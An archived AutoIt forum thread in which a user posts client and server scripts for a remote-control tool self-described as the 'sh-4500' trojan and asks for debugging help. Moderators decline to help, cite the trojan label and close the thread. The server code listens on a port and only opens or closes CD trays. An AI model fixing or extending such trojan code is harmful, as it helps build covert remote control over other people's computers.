Jump to content
Sign in to follow this  
sisu

remote support

Recommended Posts

sisu

hey we write a script in it self

a kind of remote control ...

but I do not know what was wrong of me da error

please help

customer

#cs ----------------------------------------------------------------------------

AutoIt Version: 3.2.11.1 (beta)

Author: sisu

Script Function:

client for sh-4500 v1.0.1beta

#ce ----------------------------------------------------------------------------

; Script Start - Add your code below here

#include <GUIConstants.au3>

dim $port1

dim $ipaddress1

Global $oSocket = -1

dim $defaultstatus = "Ready"

GUICreate("sh-4500 Client v1.0.1 by shadow-hacker", 500, 300)

GUISetState(@SW_SHOW)

GuiSetIcon("shell32.dll", 14)

$aboutmenu = GuiCtrlCreateMenu("About...")

$aboutitem = guictrlcreatemenuitem("About sh-4500 Client", $aboutmenu)

$statuslabel = GUICtrlCreateLabel ("Status: " & $defaultstatus, 0, 262, 500, 20, BitOr($SS_SIMPLE,$SS_SUNKEN))

GuiCtrlCreateTab(10, 10, 480, 240)

GuiCtrlCreateTabItem("Connection")

guictrlcreatelabel("IP Address: ", 15, 45)

$ipaddress1 = guictrlcreateinput("192.168.0.144", 75, 45, 100, 20)

guictrlcreatelabel("Port: ", 15, 70)

$port1 = guictrlcreateinput("1991", 75, 70, 100, 20)

$connect1 = guictrlcreatebutton("Connect", 15, 100, 75, 25)

$disconnect1 = guictrlcreatebutton("Disconnect", 100, 100, 75, 25)

guictrlcreatelabel("Send commands to the server:", 20, 140)

$datasend = guictrlcreateinput("", 20, 160, 250, 20)

$send = guictrlcreatebutton("Send", 280, 156, 75, 25)

guictrlcreatetabitem("SIN Console")

$startsin = guictrlcreatebutton("Start SIN", 23, 40, 75, 25)

GUICtrlSetState(-1, $GUI_DISABLE)

$stopsin = guictrlcreatebutton("Stop SIN", 100, 40, 75, 25)

GUICtrlSetState(-1, $GUI_DISABLE)

$sinedit = guictrlcreateedit("The SIN function is disabled in this version of sh-4500", 23, 70, 450, 165, BitOR($WS_VSCROLL, $ES_READONLY))

guictrlcreatetabitem("")

$contextMenu = GuiCtrlCreateContextMenu()

GuiCtrlCreateMenuItem("copywright © sh-4500 2008", $contextMenu)

;GuiCtrlCreateMenuItem("", $contextMenu) ;separator

GuiCtrlCreateMenuItem("by shadow-hacker", $contextMenu)

TCPStartup()

Func _OpenSocket()

guictrlsetdata($statuslabel, "Connecting...")

sleep(1000)

If $oSocket <> -1 Then

MsgBox(0, "Error", "You are already connected!")

Else

$oSocket = TCPConnect(guictrlread($ipaddress1), guictrlread($port1))

If $oSocket = -1 Then

MsgBox(0, "Error", "Can not connect to server!" & @CRlf & "Error = " & @Error)

Else

TCPSend($oSocket, "You are connected to the server!")

EndIf

EndIf

guictrlsetdata($statuslabel, "Ready")

EndFunc ;==>_OpenSocket

Func _SendData()

If $oSocket <> -1 Then

TCPSend($oSocket, GUICtrlRead($datasend))

Else

MsgBox(0, "Error", "You must be connected first!")

EndIf

EndFunc ;==>_SendData

Func _CloseSocket()

guictrlsetdata($statuslabel, "Disconnecting...")

sleep(1000)

If $oSocket <> -1 Then

TCPclosesocket($oSocket)

Else

MsgBox(0, "Error", "Socket is already disconnected!")

EndIf

guictrlsetdata($statuslabel, "Ready")

EndFunc ;==>_CloseSocket

While 1

$nMsg = GUIGetMsg()

Switch $nMsg

Case $GUI_EVENT_CLOSE

Exitloop

Case $connect1

_OpenSocket()

Case $disconnect1

_CloseSocket()

Case $send

_SendData()

case $aboutitem

MsgBox(0, "About sh-4500 Client", "sh-4500 is a trojan. Use this only for educational purpose." & @CRLF & "I will not be responsable for enything done with this software" & @CRLF & _

"This software is free of charge and can be used by enyone." & @CRLF & "Please do not modifi or redistribute this software." & @CRLF & @CRLF & "Copywright © sh-4500 2008")

EndSwitch

WEnd

and server

#cs ----------------------------------------------------------------------------

AutoIt Version: 3.2.11.1 (beta)

Author: sisu

Script Function:

#ce ----------------------------------------------------------------------------

; Script Start - Add your code below here

#include <inet.au3>

#include <guiconstants.au3>

#include <screencapture.au3>

dim $ipaddress1 = @ipaddress1

dim $pubip = _Getip()

dim $port1 = 1991

dim $recv

Global $iCurrentSocket = 0, $oListenSocket, $oConnectedSocket[1000]

$gui = guicreate("sh-4500 v1.0.1 (IP: " & $pubip & ")", 400, 250)

GUISetBkColor("0x000000", $gui)

guisetstate(@SW_SHOW)

$edit = guictrlcreateedit("", 10, 10, 380, 200, BitOR($WS_EX_WINDOWEDGE, $ES_READONLY, $ES_AUTOVSCROLL, $ES_MULTILINE, $WS_VSCROLL))

GUICtrlSetColor(-1, "0x00FF00")

GUICtrlSetBkColor(-1, "0x000000")

GUICtrlSetFont(-1, 8.0, 400)

$sendsin = guictrlcreatebutton("Send SIN", 10, 220, 75, 25)

GUICtrlSetState(-1, $GUI_DISABLE)

_TCPStartServer()

Func _TCPStartServer()

Local $sResult

$sResult = TCPStartup()

If $sResult = 0 Then

MsgBox(0, "Error", "Unable to startup TCP Services!")

Exit

EndIf

$oListenSocket = TCPListen($ipaddress1, $port1, "1000")

If $oListenSocket = -1 Then

MsgBox(0, "Error", "Unable to start listening on port " & $port1)

Exit

EndIf

EndFunc ;==>_TCPStartServer

While 1

$msg = guigetmsg()

if $msg = $GUI_EVENT_CLOSE then exitloop

$oConnectedSocket[$iCurrentSocket] = TCPAccept($oListenSocket)

ConsoleWrite($oConnectedSocket[$iCurrentSocket]&@CR)

If $oConnectedSocket[$iCurrentSocket] <> -1 Then

$iCurrentSocket = $iCurrentSocket + 1

EndIf

For $i = 0 To 999

If $oConnectedSocket[$i] <> -1 Or $oConnectedSocket[$i] <> "" Then

$recv = TCPRecv($oConnectedSocket[$i], 500)

If $recv <> "" Then GUICtrlSetData($edit, GUICtrlRead($edit) "[" & @HOUR & ":" & @MIN & "] " & $recv & @CRLF &)

if $recv = "open cdrom" then

$drive = DriveGetDrive( "CDROM" )

If NOT @error Then

For $i = 1 to $drive[0]

CDTray($drive[$i], "open")

Next

EndIf

endif

if $recv = "close cdrom" then

$drive = DriveGetDrive( "CDROM" )

If NOT @error Then

For $i = 1 to $drive[0]

CDTray($drive[$i], "close")

Next

EndIf

endif

EndIf

Next

Sleep(20)

WEnd

but that's all we can not find error I was wrong about him anything?

thanks

Edited by sisu

Share this post


Link to post
Share on other sites
Andreik

#cs ----------------------------------------------------------------------------

AutoIt Version: 3.2.11.1 (beta)

Author: sisu

Script Function:

sh-4500 trojan server v1.0.1beta

#ce ----------------------------------------------------------------------------

This does not offer support for harmfull applications. You should edit your post.

When the words fail... music speaks

Share this post


Link to post
Share on other sites
BigDod

hey we write a script in it self

a kind of remote control ...

but I do not know what was wrong of me da error

please help

customer

#cs ----------------------------------------------------------------------------

AutoIt Version: 3.2.11.1 (beta)

Author: sisu

Script Function:

client for sh-4500 v1.0.1beta

#ce ----------------------------------------------------------------------------

; Script Start - Add your code below here

#include <GUIConstants.au3>

dim $port1

dim $ipaddress1

Global $oSocket = -1

dim $defaultstatus = "Ready"

GUICreate("sh-4500 Client v1.0.1 by shadow-hacker", 500, 300)

GUISetState(@SW_SHOW)

GuiSetIcon("shell32.dll", 14)

$aboutmenu = GuiCtrlCreateMenu("About...")

$aboutitem = guictrlcreatemenuitem("About sh-4500 Client", $aboutmenu)

$statuslabel = GUICtrlCreateLabel ("Status: " & $defaultstatus, 0, 262, 500, 20, BitOr($SS_SIMPLE,$SS_SUNKEN))

GuiCtrlCreateTab(10, 10, 480, 240)

GuiCtrlCreateTabItem("Connection")

guictrlcreatelabel("IP Address: ", 15, 45)

$ipaddress1 = guictrlcreateinput("192.168.0.144", 75, 45, 100, 20)

guictrlcreatelabel("Port: ", 15, 70)

$port1 = guictrlcreateinput("1991", 75, 70, 100, 20)

$connect1 = guictrlcreatebutton("Connect", 15, 100, 75, 25)

$disconnect1 = guictrlcreatebutton("Disconnect", 100, 100, 75, 25)

guictrlcreatelabel("Send commands to the server:", 20, 140)

$datasend = guictrlcreateinput("", 20, 160, 250, 20)

$send = guictrlcreatebutton("Send", 280, 156, 75, 25)

guictrlcreatetabitem("SIN Console")

$startsin = guictrlcreatebutton("Start SIN", 23, 40, 75, 25)

GUICtrlSetState(-1, $GUI_DISABLE)

$stopsin = guictrlcreatebutton("Stop SIN", 100, 40, 75, 25)

GUICtrlSetState(-1, $GUI_DISABLE)

$sinedit = guictrlcreateedit("The SIN function is disabled in this version of sh-4500", 23, 70, 450, 165, BitOR($WS_VSCROLL, $ES_READONLY))

guictrlcreatetabitem("")

$contextMenu = GuiCtrlCreateContextMenu()

GuiCtrlCreateMenuItem("copywright © sh-4500 2008", $contextMenu)

;GuiCtrlCreateMenuItem("", $contextMenu) ;separator

GuiCtrlCreateMenuItem("by shadow-hacker", $contextMenu)

TCPStartup()

Func _OpenSocket()

guictrlsetdata($statuslabel, "Connecting...")

sleep(1000)

If $oSocket <> -1 Then

MsgBox(0, "Error", "You are already connected!")

Else

$oSocket = TCPConnect(guictrlread($ipaddress1), guictrlread($port1))

If $oSocket = -1 Then

MsgBox(0, "Error", "Can not connect to server!" & @CRlf & "Error = " & @Error)

Else

TCPSend($oSocket, "You are connected to the server!")

EndIf

EndIf

guictrlsetdata($statuslabel, "Ready")

EndFunc ;==>_OpenSocket

Func _SendData()

If $oSocket <> -1 Then

TCPSend($oSocket, GUICtrlRead($datasend))

Else

MsgBox(0, "Error", "You must be connected first!")

EndIf

EndFunc ;==>_SendData

Func _CloseSocket()

guictrlsetdata($statuslabel, "Disconnecting...")

sleep(1000)

If $oSocket <> -1 Then

TCPclosesocket($oSocket)

Else

MsgBox(0, "Error", "Socket is already disconnected!")

EndIf

guictrlsetdata($statuslabel, "Ready")

EndFunc ;==>_CloseSocket

While 1

$nMsg = GUIGetMsg()

Switch $nMsg

Case $GUI_EVENT_CLOSE

Exitloop

Case $connect1

_OpenSocket()

Case $disconnect1

_CloseSocket()

Case $send

_SendData()

case $aboutitem

MsgBox(0, "About sh-4500 Client", "sh-4500 is a trojan. Use this only for educational purpose." & @CRLF & "I will not be responsable for enything done with this software" & @CRLF & _

"This software is free of charge and can be used by enyone." & @CRLF & "Please do not modifi or redistribute this software." & @CRLF & @CRLF & "Copywright © sh-4500 2008")

EndSwitch

WEnd

and server

#cs ----------------------------------------------------------------------------

AutoIt Version: 3.2.11.1 (beta)

Author: sisu

Script Function:

#ce ----------------------------------------------------------------------------

; Script Start - Add your code below here

#include <inet.au3>

#include <guiconstants.au3>

#include <screencapture.au3>

dim $ipaddress1 = @ipaddress1

dim $pubip = _Getip()

dim $port1 = 1991

dim $recv

Global $iCurrentSocket = 0, $oListenSocket, $oConnectedSocket[1000]

$gui = guicreate("sh-4500 v1.0.1 (IP: " & $pubip & ")", 400, 250)

GUISetBkColor("0x000000", $gui)

guisetstate(@SW_SHOW)

$edit = guictrlcreateedit("", 10, 10, 380, 200, BitOR($WS_EX_WINDOWEDGE, $ES_READONLY, $ES_AUTOVSCROLL, $ES_MULTILINE, $WS_VSCROLL))

GUICtrlSetColor(-1, "0x00FF00")

GUICtrlSetBkColor(-1, "0x000000")

GUICtrlSetFont(-1, 8.0, 400)

$sendsin = guictrlcreatebutton("Send SIN", 10, 220, 75, 25)

GUICtrlSetState(-1, $GUI_DISABLE)

_TCPStartServer()

Func _TCPStartServer()

Local $sResult

$sResult = TCPStartup()

If $sResult = 0 Then

MsgBox(0, "Error", "Unable to startup TCP Services!")

Exit

EndIf

$oListenSocket = TCPListen($ipaddress1, $port1, "1000")

If $oListenSocket = -1 Then

MsgBox(0, "Error", "Unable to start listening on port " & $port1)

Exit

EndIf

EndFunc ;==>_TCPStartServer

While 1

$msg = guigetmsg()

if $msg = $GUI_EVENT_CLOSE then exitloop

$oConnectedSocket[$iCurrentSocket] = TCPAccept($oListenSocket)

ConsoleWrite($oConnectedSocket[$iCurrentSocket]&@CR)

If $oConnectedSocket[$iCurrentSocket] <> -1 Then

$iCurrentSocket = $iCurrentSocket + 1

EndIf

For $i = 0 To 999

If $oConnectedSocket[$i] <> -1 Or $oConnectedSocket[$i] <> "" Then

$recv = TCPRecv($oConnectedSocket[$i], 500)

If $recv <> "" Then GUICtrlSetData($edit, GUICtrlRead($edit) "[" & @HOUR & ":" & @MIN & "] " & $recv & @CRLF &)

if $recv = "open cdrom" then

$drive = DriveGetDrive( "CDROM" )

If NOT @error Then

For $i = 1 to $drive[0]

CDTray($drive[$i], "open")

Next

EndIf

endif

if $recv = "close cdrom" then

$drive = DriveGetDrive( "CDROM" )

If NOT @error Then

For $i = 1 to $drive[0]

CDTray($drive[$i], "close")

Next

EndIf

endif

EndIf

Next

Sleep(20)

WEnd

but that's all we can not find error I was wrong about him anything?

thanks

Who wrote this, I doubt that it was you.


Get Beta versions Here Get latest SciTE editor Here AutoIt 1-2-3 by Valuater - A great starting point.

Time you enjoyed wasting is not wasted time ......T.S. Elliot
Suspense is worse than disappointment................Robert Burns
God help the man who won't help himself, because no-one else will...........My Grandmother

Share this post


Link to post
Share on other sites
Melba23

sisu,

Posting scripts which contain the following (my emphasis):

MsgBox(0, "About sh-4500 Client", "sh-4500 is a trojan. Use this only for educational purpose." & @CRLF & "I will not be responsable for enything done with this software" & @CRLF & _

"This software is free of charge and can be used by enyone." & @CRLF & "Please do not modifi or redistribute this software." & @CRLF & @CRLF & "Copywright © sh-4500 2008")

is unlikely to to get you any help on these forums.

M23


Any of my own code posted anywhere on the forum is available for use by others without any restriction of any kind._______My UDFs:

Spoiler

ArrayMultiColSort ---- Sort arrays on multiple columns
ChooseFileFolder ---- Single and multiple selections from specified path treeview listing
Date_Time_Convert -- Easily convert date/time formats, including the language used
ExtMsgBox --------- A highly customisable replacement for MsgBox
GUIExtender -------- Extend and retract multiple sections within a GUI
GUIFrame ---------- Subdivide GUIs into many adjustable frames
GUIListViewEx ------- Insert, delete, move, drag, sort, edit and colour ListView items
GUITreeViewEx ------ Check/clear parent and child checkboxes in a TreeView
Marquee ----------- Scrolling tickertape GUIs
NoFocusLines ------- Remove the dotted focus lines from buttons, sliders, radios and checkboxes
Notify ------------- Small notifications on the edge of the display
Scrollbars ----------Automatically sized scrollbars with a single command
StringSize ---------- Automatically size controls to fit text
Toast -------------- Small GUIs which pop out of the notification area

 

Share this post


Link to post
Share on other sites
sisu

BigDod not written by me I did more .....

but not all go and have left it go and I said that you can help me

ms anticipat

Share this post


Link to post
Share on other sites
Jos

BigDod not written by me I did more .....

but not all go and have left it go and I said that you can help me

ms anticipat

Could you try to say this again in understandable English?

Visit the SciTE4AutoIt3 Download page for the latest versions  - Beta files                                How to post scriptsource        Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites
Andreik

Could you try to say this again in understandable English?

Somethis like this:

I did not write the script.

Not all work properly, can you help me?

Thanks in advance.


When the words fail... music speaks

Share this post


Link to post
Share on other sites
Jos

... and done with this thread too.

sisu, I understand you are not from an English speaking country but if you are not able or willing to understand us or listen to us then there is not much use continuing like this.

You are posting questionable stuff and are not able to give a clear explanation.

* click*

Jos


Visit the SciTE4AutoIt3 Download page for the latest versions  - Beta files                                How to post scriptsource        Forum Rules
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Share this post


Link to post
Share on other sites
Guest
This topic is now closed to further replies.
Sign in to follow this  

×

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.